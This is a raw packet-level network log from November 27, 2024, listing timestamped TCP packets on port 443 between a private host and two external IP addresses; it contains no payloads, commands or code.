Nov 27, 2024 04:06:46.614343882 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.614362955 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.614382982 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.614418983 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.614424944 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.622704029 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.622747898 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.622751951 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.622761965 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.622809887 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.631136894 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.655114889 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.655164003 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.655195951 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.655224085 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.655232906 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.655250072 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.655267000 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.663002968 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.663086891 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.663100004 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.663142920 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.668363094 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.668443918 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.668456078 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.672553062 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.672570944 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.697289944 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.697345972 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.697432041 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.697772026 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.697786093 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.698132038 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.698167086 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.698220015 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.698384047 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.698398113 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.698424101 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.698477030 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.698503971 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.698527098 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.698530912 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.698554039 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.698579073 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.706708908 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.706794977 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.706803083 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.712307930 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.712328911 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.715121984 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.715166092 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.715198040 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.715205908 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.715257883 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.738847017 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.760200977 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.760216951 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.784332991 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.784363031 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.810293913 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.810379028 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.810398102 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.818527937 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.818612099 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.818618059 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.818639994 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.818685055 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.826704025 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.829966068 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.829996109 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.835103035 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.835175037 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.835195065 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.843683958 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.843779087 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.843800068 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.852130890 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.852258921 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.852278948 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.860408068 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.860497952 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.860513926 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.872452021 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.877084970 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.877145052 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.877151012 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885068893 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885121107 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885158062 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885166883 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.885189056 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885226965 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.885234118 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885404110 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885438919 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.885443926 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885529995 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.885566950 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.894560099 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.894619942 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.894627094 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.902911901 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.902987003 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.902992964 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.908876896 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.913086891 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.913144112 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.913172007 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.921493053 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.921556950 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.921590090 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.929152966 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.929210901 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.929219007 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.929961920 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.930038929 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.930062056 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.930334091 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.930350065 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.938302994 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.938364983 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.938385010 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.955034971 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.955065966 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.955107927 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.955123901 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.955167055 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.963489056 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.971852064 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.971934080 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.971935987 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.971946001 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.971988916 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.975753069 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.975763083 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.980400085 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.988924980 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.989003897 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.989012957 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.997245073 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.997309923 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.997314930 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.005510092 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.005594015 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.005599976 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.031265974 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.031274080 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.034214973 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.034296989 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.034316063 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.078787088 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.079973936 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.095443964 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.099633932 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.099701881 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.099711895 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.108120918 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.108181000 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.108187914 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.116020918 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.116092920 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.116100073 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.119187117 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.120887995 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.120933056 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.120954990 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.125852108 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.125916004 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.125926018 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.132504940 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.132565975 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.132569075 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.132585049 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.132618904 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.135879993 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.135935068 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.135943890 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.140794992 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.140815020 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.140856028 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.140862942 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.145683050 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.145745993 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.145747900 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.145759106 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.145792961 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.149065018 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.149136066 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.149157047 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.150640011 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.155494928 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.155566931 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.155585051 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.157315969 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.157378912 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.157386065 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.160439968 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.160499096 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.160506964 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.165401936 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.165472031 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.165477991 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.165657043 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.165728092 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.165735006 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.172051907 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.172116995 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.172123909 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.172136068 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.172183990 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.174015999 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.174078941 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.174086094 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.175422907 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.178772926 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.178838968 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.178847075 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.182198048 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.182209015 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.182255983 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.182262897 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.182297945 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.182303905 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.185659885 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.185726881 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.185746908 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.189028025 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.189095020 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.189110994 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.192403078 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.192459106 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.192466021 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.195719004 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.195765018 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.195772886 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.195801020 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.195841074 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.196571112 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.196585894 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.198666096 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.198751926 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.198761940 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.223903894 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.224076986 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.224088907 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.247322083 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.247366905 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.247632027 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.247845888 CET	49756	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.247859001 CET	443	49756	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.249288082 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.249330997 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.249396086 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.249557972 CET	49757	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.249569893 CET	443	49757	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.267280102 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.305877924 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.308346987 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.308443069 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.308458090 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.315099001 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.315169096 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.315177917 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.320022106 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.320137978 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.320156097 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.320163965 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.320204020 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.325078011 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.329833984 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.329898119 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.329906940 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.334605932 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.334703922 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.334713936 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.339308023 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.339524031 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.339534044 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.348831892 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.348891973 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.348910093 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.348921061 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.349025011 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.353575945 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.357074022 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.357114077 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.357156992 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.357175112 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.357215881 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.360457897 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.364038944 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.364100933 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.364109039 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.367511034 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.367573977 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.367582083 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.370893955 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.370974064 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.370980978 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.377754927 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.377815962 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.377832890 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.377841949 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.378271103 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.381189108 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.384700060 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.384728909 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.385240078 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.385250092 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.385380030 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.388118982 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.391683102 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.391746998 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.391755104 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.395071983 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.395193100 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.395204067 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.398534060 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.398587942 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.398600101 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.435091972 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.435182095 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.435205936 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.435220003 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.435261965 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.516268969 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.517385006 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.517436981 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.517443895 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.517457962 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.517513037 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.520863056 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.523310900 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.523360014 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.523371935 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.525836945 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.525880098 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.525888920 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.528338909 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.528388023 CET	49748	443	192.168.2.4	91.208.197.216
